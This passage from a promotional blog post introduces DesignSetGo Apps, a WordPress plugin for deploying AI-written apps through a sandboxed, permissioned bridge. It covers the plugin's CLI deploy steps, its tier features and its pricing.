By Friday, you’ve forgotten the URL.

#### The architecture, briefly

WordPress 7.0 (May 2026) shipped three APIs that change what a plugin can do:

- **Connectors API.** Site admins configure Anthropic, OpenAI, or Google credentials once at `Settings > Connectors`. Every plugin inherits them.

- **WP AI Client.** Provider-agnostic PHP API. Plugins call `wp_ai_client_prompt()`, the site’s connector handles the LLM call.

- **Abilities API.** Register functions the site’s AI agent can invoke.

DesignSetGo Apps is the Harness above that stack. We never hold your API keys. We never pay for inference. Your apps run in a sandboxed iframe (or inline mode for SEO) with a permissioned `postMessage` bridge: the app declares what it needs in its manifest, you approve it at install, the plugin enforces it at runtime. Same trust model as a browser extension.

The bridge protocol is frozen at v1. The manifest schema is frozen at v1. Both are public, both are specced.

#### The transform

You write the app in Claude Code (or Cursor, Aider, Claude Desktop, ChatGPT, v0, Lovable, Bolt). You run one command. The app is live on your client’s WordPress site at a URL that’s part of the site, served from the site’s domain, backed up with the site, indexed with the site.

If you’d rather not use a CLI, drop the HTML file into wp-admin. Same runtime. Same URL. Same permission model.

The app can live at `/apps/{slug}` as an additive widget. Or it can mount at `/` and become the entire front-end of the site, with WordPress quietly running underneath as the CMS, auth layer, and data source. The `/apps/` surface adds tools. The root mount replaces front-ends.

#### From Claude Code to live, in three steps

```
npx @designsetgo/cli init my-app
# write the app with Claude Code. iterate. test.

designsetgo apps deploy --build --site https://your-site.com
# bundle, validate the manifest, push. live in seconds.
```

That’s the agent-deploy path. On the free tier you get 1 active app and a read-only bridge: `posts.list`, `posts.get`, `pages.list`, `pages.get`, `user.current`, plus help methods. Enough to ship a real tool.

Activate the 14-day Pro trial and the CLI unlocks alongside `ai.prompt` (your app calls the site’s configured LLM through WP AI Client), `abilities.invoke` (your app calls functions the site has registered), `abilities.publish` (your app registers functions the site’s AI agent can call), write methods, dynamic routes, scheduled jobs, webhooks, and Riff (in-browser app generation with streaming code).

Pro is a per-site license after the trial. Managed AI is a separate $30/month add-on if you’d rather not bring your own keys.

#### The offer

The plugin is real. The bridge ships. The CLI ships. The importer ships. The AI surfaces ship.

If you’ve been carrying a folder of half-deployed Claude Code projects waiting for the WordPress story to exist, it exists.

[Install DesignSetGo Apps](https://designsetgo.dev/) and ship the app you already built.

The [docs](https://designsetgo.dev/docs) cover the manifest schema, every bridge method, the CLI, and the Harness. Follow-up posts in this series cover the safety story, the Claude Code workflow end-to-end, and how apps can publish abilities your site’s AI agent can call.

Nealey